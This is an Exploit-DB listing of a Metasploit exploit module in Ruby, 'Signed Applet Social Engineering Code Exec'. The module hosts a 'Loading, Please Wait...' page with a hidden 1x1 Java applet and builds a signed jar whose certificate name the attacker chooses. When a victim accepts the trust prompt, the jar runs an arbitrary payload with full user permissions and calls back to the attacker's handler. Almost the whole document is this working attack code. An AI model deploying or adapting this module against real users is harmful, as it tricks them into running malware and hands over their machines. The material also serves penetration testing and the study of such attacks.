Signed Applet Social Engineering - Code Execution (Metasploit)

EDB-ID:

16302




Platform:

Multiple

Date:

2011-01-08


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##
# $Id: java_signed_applet.rb 11516 2011-01-08 01:13:26Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'
require 'rex'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::HttpServer::HTML
	include Msf::Exploit::Java
	include Msf::Exploit::EXE

	def initialize( info = {} )
		super( update_info( info,
			'Name'          => 'Signed Applet Social Engineering Code Exec',
			'Description'   => %q{
					This exploit dynamically creates an applet via the Msf::Exploit::Java mixin, converts it
				to a .jar file, then signs the .jar with a dynamically created certificate containing
				values of your choosing.  This is presented to the end user via a web page with an applet
				tag, loading the signed applet.

				The user's JVM pops a dialog asking if they trust the signed applet and displays the
				values chosen.  Once the user clicks 'accept', the applet executes with full user
				permissions.

				The java payload used in this exploit is derived from Stephen Fewer's and HDM's payload
				created for the CVE-2008-5353 java deserialization exploit.

				This module requires the rjb rubygem, the JDK, and the $JAVA_HOME variable to be set.
				If these dependencies are not present, the exploit falls back to a static, signed
				JAR.
			},
			'License'       => MSF_LICENSE,
			'Author'        => [ 'natron' ],
			'Version'       => '$Revision: 11516 $',
			'References'    =>
				[
					[ 'URL', 'http://www.defcon.org/images/defcon-17/dc-17-presentations/defcon-17-valsmith-metaphish.pdf' ]
				],
			'Platform'      => [ 'java', 'win', 'osx', 'linux', 'solaris' ],
			'Payload'       => { 'BadChars' => '', 'DisableNops' => true },
			'Targets'       =>
				[
					[ 'Generic (Java Payload)',
						{
							'Platform' => ['java'],
							'Arch' => ARCH_JAVA
						}
					],
					[ 'Windows x86 (Native Payload)',
						{
							'Platform' => 'win',
							'Arch' => ARCH_X86,
						}
					],
					[ 'Linux x86 (Native Payload)',
						{
							'Platform' => 'linux',
							'Arch' => ARCH_X86,
						}
					],
					[ 'Mac OS X PPC (Native Payload)',
						{
							'Platform' => 'osx',
							'Arch' => ARCH_PPC,
						}
					],
					[ 'Mac OS X x86 (Native Payload)',
						{
							'Platform' => 'osx',
							'Arch' => ARCH_X86,
						}
					]
				],
			'DefaultTarget' => 1
		))
		register_options(
			[
				OptString.new(     'CERTCN', 	[ true, "The CN= value for the certificate.", "Metasploit Inc." ]),
				OptString.new( 'APPLETNAME',	[ true, "The main applet's class name.",      "SiteLoader"		]),
				#OptString.new('PAYLOADNAME',	[ true, "The payload classes name.", 	      "SiteSupport" 	]),

				# Not implemented yet.
				#OptString.new('PACKAGENAME',	[ true, "The package name for gen'd classes.","x"		]),
				# Needs Rex::Zip to be able to crack zip files
				#OptString.new('CUSTOMJAR', 	[ false, "A custom .jar applet to use.", nil]),
			], self.class)
		# No source right now, so don't give an option to save it
		#register_advanced_options(
		#	[
		#		OptString.new('SaveToFile',		[ false, "When set, source is saved to this directory under external/source/", nil ])
		#	], self.class)
	end

	def exploit
		#
		# Currently doing all processing in on_request_uri.
		# If this is too slow, we can move applet generation up here.
		#

		@use_static = false
		if not @jvm_init
			print_error
			print_error "The JDK failed to initialized: #{@java_error}"
			print_error "In order to dynamically sign the applet, you must install the Java Development Kit, the rjb gem, and set the JAVA_HOME environment variable."
			print_error
			print_error "Falling back to static signed applet.  This exploit will still work, but the CERTCN and APPLETNAME variables will be ignored."
			print_error

			@use_static = true
		else
			cp = "#{datastore["JavaCache"]}:" + File.join(Msf::Config.data_directory, "java")
			compile( [ "#{datastore["APPLETNAME"]}" ] , [ applet_code ], [ "-classpath", "#{cp}" ])
			applet_file = File.join(datastore["JavaCache"], "#{datastore["APPLETNAME"]}.class")
			@compiled_applet_data = File.open(applet_file, "rb") { |f| f.read(f.stat.size) }
		end

		super
	end

	def on_request_uri( cli, request )
		payload = regenerate_payload(cli)
		if not payload
			print_error( "Failed to generate the payload." )
			# Send them a 404 so the browser doesn't hang waiting for data
			# that will never come.
			send_not_found(cli)
			return
		end

		if not request.uri.match(/\.jar$/i)
			if not request.uri.match(/\/$/)
				send_redirect( cli, get_resource() + '/', '')
				return
			end

			print_status( "Handling request from #{cli.peerhost}:#{cli.peerport}..." )

			send_response_html( cli, generate_html, { 'Content-Type' => 'text/html' } )
			return
		end

		# If we haven't returned yet, then this is a request for our applet
		# jar, build one for this victim.

		jar = payload.encoded_jar

		if @use_static
			# Then build from the statically signed class files.  Note that
			# this uses a pre-compiled version of Payload.class, so any new
			# updates to that file in the normal javapayload will not be
			# reflected here!
			applet_file = File.join(Msf::Config.data_directory, "exploits", "java_signed_applet", "SiteLoader.class")
			applet_data = File.open(applet_file, "rb") { |f| f.read(f.stat.size) }
			jar.add_file("SiteLoader.class", applet_data)

			print_status("Building statically signed jar for #{cli.peerhost}")
			build_static_sig(jar)
			data = jar.to_s
		else
			# Then build from the class file we compiled in the exploit()
			# method above.
			jar.add_file("#{datastore["APPLETNAME"]}.class", @compiled_applet_data)
			print_status("Signing file for #{cli.peerhost}")
			# The RJB signing class requires the jar to be an actual file on
			# the filesystem, write it out.
			File.open(File.join(datastore["JavaCache"], "tmp.jar"), 'wb') { |f| f.write(jar.to_s) }
			sign_jar(datastore["CERTCN"], "tmp.jar", "signed.jar")
			# ... and read in the resulting signed jar
			data = File.open(File.join(datastore["JavaCache"], "signed.jar"), "rb") { |f| f.read(f.stat.size) }
		end

		print_status( "Sending #{datastore['APPLETNAME']}.jar to #{cli.peerhost}:#{cli.peerport}.  Waiting for user to click 'accept'..." )
		send_response( cli, data.to_s, { 'Content-Type' => "application/octet-stream" } )

		handler( cli )

	end

	def generate_html
		html  = %Q|<html><head><title>Loading, Please Wait...</title></head> |
		html += %Q|<body><center><p>Loading, Please Wait...</p></center> |
		html += %Q|<applet archive="#{datastore["APPLETNAME"]}.jar"\n|
		if @use_static
			html += %Q|  code="SiteLoader" width="1" height="1">\n|
		else
			html += %Q|  code="#{datastore["APPLETNAME"]}" width="1" height="1">\n|
		end
		html += %Q|</applet></body></html>|
		return html
	end

	def build_static_sig(jar)
		files = [
			"metasploit/Payload.class",
			"SiteLoader.class",
			"META-INF/MANIFEST.MF",
			"META-INF/SIGNFILE.RSA",
			"META-INF/SIGNFILE.SF",
		]

		# Ghetto.  Replace existing files in the Jar, then add in
		# anything that wasn't replaced.  The reason for replacing the
		# .class files is to ensure that we're sending the
		# Payload.class as was signed rather than a newer one that was
		# updated without updating the signature.  We'll just have to
		# cross our fingers and hope that any updates don't break
		# backwards compatibility in the handler until we can get
		# signing to work from ruby.  Once we can sign jars directly
		# from ruby using OpenSSL, this won't be a problem.
		replaced = []
		# Replace the ones that are already there.
		jar.entries.map do |e|
			file = File.join(Msf::Config.data_directory, "exploits", "java_signed_applet", e.name)
			if File.file? file
				File.open(file, "rb") do |f|
					e.data = f.read(f.stat.size)
				end
			end
			replaced << e.name
		end
		# Add the rest
		files.each { |e|
			next if replaced.include? e
			file = File.join(Msf::Config.data_directory, "exploits", "java_signed_applet", e)
			File.open(file, "rb") do |f|
				jar.add_file(e, f.read(f.stat.size))
			end
		}

		jar
	end

	def applet_code
		applet = <<-EOS
import java.applet.*;
import metasploit.*;

public class #{datastore["APPLETNAME"]} extends Applet {
	public void init() {
		try {
			Payload.main(null);
		} catch (Exception ex) {
			//ex.printStackTrace();
		}
	}
}
EOS
	end
end